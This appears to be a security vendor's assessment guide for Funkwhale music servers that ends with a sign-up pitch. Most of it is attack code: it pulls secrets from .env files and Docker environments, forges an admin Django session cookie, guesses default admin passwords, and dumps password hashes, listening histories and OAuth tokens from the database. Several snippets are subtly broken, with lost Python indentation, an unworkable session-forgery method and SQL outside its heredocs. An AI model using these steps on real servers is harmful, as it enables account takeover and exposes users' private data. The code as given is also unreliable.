Funkwhale is a self-hosted federated music streaming platform built on Django — organizations and communities use it to share and stream private music libraries. Key assessment areas: DJANGO_SECRET_KEY in .env enables Django session cookie forgery for any user account; admin credentials set during initial setup are often weak; PostgreSQL stores all user credentials, complete listening histories, and private playlists; and S3 music file storage credentials expose the entire audio library. This guide covers systematic Funkwhale security assessment.
# Funkwhale — DJANGO_SECRET_KEY extraction and session forgery
FW_URL="https://music.example.com"
# .env file — Funkwhale environment configuration
cat /srv/funkwhale/config/.env 2>/dev/null | grep -v "^#" | grep -v "^$" | head -30
# DJANGO_SECRET_KEY=... <-- Django session/CSRF signing key
# DATABASE_URL=... <-- PostgreSQL connection string
# AWS_ACCESS_KEY_ID=... <-- S3 music storage
# AWS_SECRET_ACCESS_KEY=...
# EMAIL_HOST_PASSWORD=... <-- SMTP password
# REDIS_URL=... <-- Redis connection
# Docker environment
docker inspect funkwhale_api 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SECRET_KEY','DATABASE','AWS','EMAIL_HOST_PASS','REDIS']):
print(e)
" 2>/dev/null
# DJANGO_SECRET_KEY — used to sign session cookies and CSRF tokens
# With this key, forge a Django session cookie for the admin user
DJANGO_SECRET_KEY="extracted-secret-key"
python3 -c "
import django
import os
os.environ['DJANGO_SETTINGS_MODULE'] = 'config.settings.common'
# Simpler approach: use django.core.signing directly
from django.core.signing import TimestampSigner
signer = TimestampSigner(key='${DJANGO_SECRET_KEY}')
# Generate a session value for admin user (user_id=1)
import json, base64
session_data = {'_auth_user_id': '1', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend'}
encoded = base64.b64encode(json.dumps(session_data).encode()).decode()
print(f'Session data: {encoded}')
print(f'Signed: {signer.sign(encoded)}')
" 2>/dev/null
# Funkwhale API token enumeration and music library access
FW_URL="https://music.example.com"
# Get API token via login (test common credentials)
for CRED in "admin:password" "admin:funkwhale" "admin:changeme"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
TOKEN=$(curl -s -X POST "${FW_URL}/api/v1/token/" \
-H "Content-Type: application/json" \
-d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('token','FAILED'))" 2>/dev/null)
echo "${USER}/${PASS}: $TOKEN"
[ "$TOKEN" != "FAILED" ] && echo " SUCCESS!"
done
# With admin token — list all users
ADMIN_TOKEN="your-api-token"
curl -s "${FW_URL}/api/v1/users/" \
-H "Authorization: Token ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total users: {d.get(\"count\")}')
for u in d.get('results',[])[:10]:
print(f' [{u.get(\"id\")}] @{u.get(\"username\")} admin={u.get(\"is_superuser\")}')
print(f' email={u.get(\"email\")}')
" 2>/dev/null
# List all tracks (music library)
curl -s "${FW_URL}/api/v1/tracks/?page_size=10" \
-H "Authorization: Token ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total tracks: {d.get(\"count\")}')
for t in d.get('results',[])[:5]:
print(f' {t.get(\"title\")} - {t.get(\"artist\",{}).get(\"name\")}')
print(f' listen_url: {t.get(\"listen_url\")}')
" 2>/dev/null
# ActivityPub — user enumeration (unauthenticated)
FW_DOMAIN="music.example.com"
curl -s -H "Accept: application/activity+json" \
"${FW_URL}/federation/actors/admin" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'Actor: {d.get(\"preferredUsername\")}')
print(f'Inbox: {d.get(\"inbox\")}')
print(f'Following: {d.get(\"following\")}')
except: pass
" 2>/dev/null
# Funkwhale PostgreSQL database extraction
# DATABASE_URL from .env: postgresql://funkwhale:PASSWORD@localhost:5432/funkwhale
psql "$(grep DATABASE_URL /srv/funkwhale/config/.env 2>/dev/null | cut -d= -f2-)" 2>/dev/null << 'EOF'
-- All user accounts with credentials
SELECT au.id,
au.username,
au.email,
au.password, -- Django pbkdf2_sha256 hash
au.is_superuser,
au.is_staff,
au.date_joined
FROM auth_user au
ORDER BY au.is_superuser DESC, au.date_joined
LIMIT 20;
EOF
-- Listening history (privacy-sensitive)
psql "$(grep DATABASE_URL /srv/funkwhale/config/.env 2>/dev/null | cut -d= -f2-)" 2>/dev/null << 'EOF'
SELECT ul.created,
au.username as listener,
t.title as track,
art.name as artist
FROM history_listening ul
JOIN auth_user au ON ul.user_id = au.id
JOIN music_track t ON ul.track_id = t.id
LEFT JOIN music_artist art ON t.artist_id = art.id
ORDER BY ul.created DESC
LIMIT 20;
EOF
-- All OAuth application tokens
psql "$(grep DATABASE_URL /srv/funkwhale/config/.env 2>/dev/null | cut -d= -f2-)" 2>/dev/null << 'EOF'
SELECT at.token,
at.scope,
at.expires,
au.username,
au.email
FROM oauth2_provider_accesstoken at
JOIN auth_user au ON at.user_id = au.id
WHERE at.expires > NOW()
ORDER BY at.created DESC
LIMIT 10;
EOF
| Security Test | Method | Risk |
|---|---|---|
| DJANGO_SECRET_KEY extraction and session cookie forgery | Read .env DJANGO_SECRET_KEY — forge Django session cookies for any user including superusers; bypass CSRF protection; generate valid password reset tokens without email | Critical |
| Admin credential brute-force (admin/password, admin/funkwhale) | POST /api/v1/token/ with common credentials — admin API token; full user management, music library access, and system configuration | High |
| PostgreSQL auth_user credential extraction | SELECT password FROM auth_user — all Django PBKDF2-SHA256 password hashes and email addresses; listening history via history_listening table | High |
| S3 music file credential extraction | Read .env AWS_SECRET_ACCESS_KEY — full access to music storage bucket; download all uploaded audio files; may include copyrighted content | High |
| ActivityPub user enumeration (unauthenticated) | GET /federation/actors/{username} — user existence and profile data; library sharing links; no authentication required for public federation endpoints | Medium |
Ironimo tests Funkwhale deployments for .env DJANGO_SECRET_KEY extraction and session cookie forgery, admin credential testing (admin/funkwhale, admin/password), PostgreSQL auth_user PBKDF2 hash extraction, listening history privacy assessment, OAuth2 access token enumeration, S3 AWS_SECRET_ACCESS_KEY music file access, ActivityPub user enumeration without authentication, DATABASE_URL connection string extraction, EMAIL_HOST_PASSWORD SMTP credential disclosure, and Docker environment variable secret exposure.
Start free scan